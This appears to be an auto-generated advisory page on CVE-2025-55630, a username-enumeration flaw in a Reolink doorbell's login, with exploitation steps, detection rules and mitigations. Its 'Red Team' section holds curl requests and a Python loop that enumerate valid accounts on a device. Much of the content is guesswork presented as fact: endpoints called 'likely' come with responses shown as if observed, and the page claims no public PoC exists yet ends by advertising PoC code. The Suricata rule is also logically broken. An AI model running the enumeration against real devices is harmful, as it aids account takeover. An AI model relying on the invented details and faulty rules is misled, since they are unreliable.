CVE-2025-55630
Executive Summary
CVE-2025-55630 is a medium-severity information disclosure vulnerability affecting the Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell with Chime, specifically firmware version v3.0.0.4662_2503122283. The vulnerability resides in the login function, where the application returns distinct error messages depending on whether the username is valid or invalid. This discrepancy allows an unauthenticated, remote attacker to enumerate valid user accounts on the device.
The core issue is a classic CWE-204 (Observable Response Discrepancy). By sending login requests with different usernames and observing the error message, an attacker can build a list of valid accounts. This information can then be used as a stepping stone for further attacks, such as brute-force password guessing or targeted phishing. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an IoT device. The supply chain risk is limited to the device's firmware update mechanism and the vendor's ability to release a patch.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) / Estimated: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – Only account existence is leaked.
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
- Threat Level: Medium. While the direct impact is low, the information gained can enable more severe attacks.
Deep Dive & Mechanics
The vulnerability is a textbook example of user enumeration via response discrepancy. The Reolink doorbell's login endpoint likely processes authentication requests and returns different HTTP status codes or response bodies based on whether the username exists.
Mechanism:
- An attacker sends a POST request to the login endpoint (e.g.,
/api/login) with a username and password. - If the username does not exist, the server returns an error message like "Invalid username or password" or "User not found".
- If the username exists but the password is wrong, the server returns a different error message, such as "Incorrect password".
- By iterating through a list of potential usernames (e.g., "admin", "user", "guest", or email addresses), the attacker can identify which accounts are valid.
Root Cause: The application does not use a generic error message for all failed login attempts. This is a violation of secure coding best practices.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable login handler
def login(username, password):
user = find_user(username)
if user is None:
return {"error": "User not found"} # Different message
if user.password != hash(password):
return {"error": "Incorrect password"} # Different message
return {"success": True, "token": generate_token()}
Patched Code (Conceptual):
# Patched login handler
def login(username, password):
user = find_user(username)
if user is None or user.password != hash(password):
return {"error": "Invalid username or password"} # Generic message
return {"success": True, "token": generate_token()}
The patched version returns the same error message regardless of whether the username exists or the password is wrong, preventing enumeration.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Reolink Smart 2K+ Doorbell on the same network or accessible via the internet.
- A tool like
curl,Burp Suite, or a custom Python script.
Exploitation Steps:
- Identify the login endpoint. This is typically
/api/loginor/cgi-bin/api.cgi?cmd=Login. - Send a request with a non-existent username. Observe the error message.
Response:curl -X POST http://<doorbell-ip>/api/login -d '{"username":"nonexistent","password":"test"}'{"error":"User not found"} - Send a request with a valid username (e.g., "admin") and a wrong password. Observe the different error message.
Response:curl -X POST http://<doorbell-ip>/api/login -d '{"username":"admin","password":"wrong"}'{"error":"Incorrect password"} - Automate the enumeration. Use a script to iterate through a username list and compare responses.
import requests usernames = ["admin", "user", "guest", "test"] for user in usernames: r = requests.post("http://<doorbell-ip>/api/login", json={"username": user, "password": "test"}) if "Incorrect password" in r.text: print(f"Valid user found: {user}")
Blue Team (Detection & Hardening)
Detection:
- Monitor for multiple login attempts with different usernames from the same IP address within a short time window.
- Alert on HTTP responses containing "User not found" or "Incorrect password" from the login endpoint.
Hardening:
- Implement rate limiting on the login endpoint.
- Use a generic error message for all failed login attempts.
- Implement account lockout after a certain number of failed attempts.
- Monitor for unusual login patterns.
Indicators of Compromise (IOCs)
- Network IOCs:
- Multiple POST requests to
/api/loginor/cgi-bin/api.cgi?cmd=Loginwith varyingusernameparameters. - HTTP responses containing distinct error messages like "User not found" or "Incorrect password".
- Multiple POST requests to
- Host IOCs:
- Log entries showing repeated failed login attempts from a single IP address.
- Log entries with different error messages for different usernames.
Detection Engineering
YARA Rule
rule CVE_2025_55630_Reolink_Enumeration {
meta:
description = "Detects Reolink doorbell user enumeration attempts via login response discrepancy"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-55630"
strings:
$user_not_found = "User not found" ascii wide nocase
$incorrect_password = "Incorrect password" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: Reolink Doorbell User Enumeration Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple login attempts with different usernames against a Reolink doorbell, indicating user enumeration.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: reolink
detection:
selection:
cs-uri-query|contains: "/api/login"
sc-status: 200
cs-method: POST
condition: selection | count(username) by src_ip > 5 within 60 seconds
falsepositives:
- Legitimate users forgetting their password
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-55630 Reolink Doorbell User Enumeration Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/login"; http_uri;
content:"username"; http_client_body;
pcre:"/User not found|Incorrect password/";
threshold: type both, track by_src, count 5, seconds 60;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the device: Place the doorbell on a separate VLAN with restricted access to the internet.
- Disable remote access: If not required, disable UPnP and port forwarding to the doorbell.
- Monitor logs: Enable logging and monitor for suspicious login attempts.
Long-term Fix:
- Vendor Patch: Await a firmware update from Reolink that implements generic error messages for login failures.
- Workaround: If patching is not possible, implement a reverse proxy (e.g., Nginx) in front of the doorbell to normalize error responses.
location /api/login { proxy_pass http://doorbell_ip; # Modify response body to generic error sub_filter 'User not found' 'Invalid username or password'; sub_filter 'Incorrect password' 'Invalid username or password'; sub_filter_once off; }
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.